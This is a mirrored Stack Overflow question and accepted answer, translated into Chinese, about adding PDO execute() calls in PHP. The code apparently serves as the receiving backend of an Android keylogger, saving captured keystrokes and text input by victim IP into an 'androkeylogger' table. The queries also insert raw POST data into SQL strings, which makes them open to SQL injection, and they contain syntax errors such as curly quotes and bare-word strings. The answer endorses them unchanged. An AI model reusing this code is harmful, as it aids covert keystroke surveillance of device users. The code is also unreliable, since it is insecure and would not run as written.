首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >PDO execute();

PDO execute();
EN

Stack Overflow用户
提问于 2014-07-02 08:28:21
回答 1查看 1K关注 0票数 2

我使用PDO MySQL在MySQL服务器中插入POST数据。我的代码是:

代码语言:javascript
复制
<?php
$ip = $_SERVER['REMOTE_ADDR']
$type = $_POST['type'];
$data = $_POST['data'];
$server = localhost;
$mysql_user = dbuser;
$mysql_pass = passwd;
$useDb = android;

$dsn = sprintf('mysql:host=%s; dbname=%s', $server, $useDb);
$pdo = new PDO($dsn, $mysql_user, $mysql_pass);
$pdo->setAttribute(PDO::ATTR_TIMEOUT, 1);
$pdo->setAttribute(PDO::ATTR_PERSISTENT, false);
$pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, 'SET NAMES utf8');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

switch($type)
{
    case 'keyinputevent':
        $query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
        $query->execute();
        $rows = $query->rowCount();
        if ($rows > 0) {
            $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
        }
        else {
            $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’)');
        }
        break;

    case 'textinputevent':
        $query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
        $query->execute();
        $rows = $query->rowCount();
        if ($rows > 0) {
            $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
        }
        else {
            $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’) ');
        }
        break;
}
?>

在if else语句中,我应该添加$pdo-> execute ()来执行查询吗?任何帮助都将不胜感激。

编辑:我在if..else语句中更改了查询变量名。现在是对的吗?

代码语言:javascript
复制
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$type = $_POST['type'];
$data = $_POST['data'];
$server = localhost;
$mysql_user = dbuser;
$mysql_pass = passwd;
$useDb = android;

$dsn = sprintf('mysql:host=%s;dbname=%s', $server, $useDb);
$pdo = new PDO($dsn, $mysql_user, $mysql_pass);
$pdo->setAttribute(PDO::ATTR_TIMEOUT, 1);
$pdo->setAttribute(PDO::ATTR_PERSISTENT, false);
$pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, 'SET NAMES utf8');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

switch($type)
{
case 'keyinputevent':
$query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
$query->execute();
$rows = $query->rowCount();
if ($rows > 0) {
$query2 = $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
}
else {
$query2=$pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’)');
}
$query2->execute(); 
break;

case 'textinputevent':
$query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
$query->execute();
$rows = $query->rowCount();
if ($rows > 0) {
$query2 = $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
}
else { 
$query2 = $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’) ');
}
$query2->execute(); 
break;
}
?>
EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2014-07-02 08:36:16

是的,您已经准备了第二个查询(即if...else语句中的查询,但是您需要调用execute来使查询实际发生。我会这样做:

代码语言:javascript
复制
if ($rows > 0) {
    $query2 = $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
} else {
    $query2  = $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’) ');
}
$query2->execute();
break;
票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/24526354

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档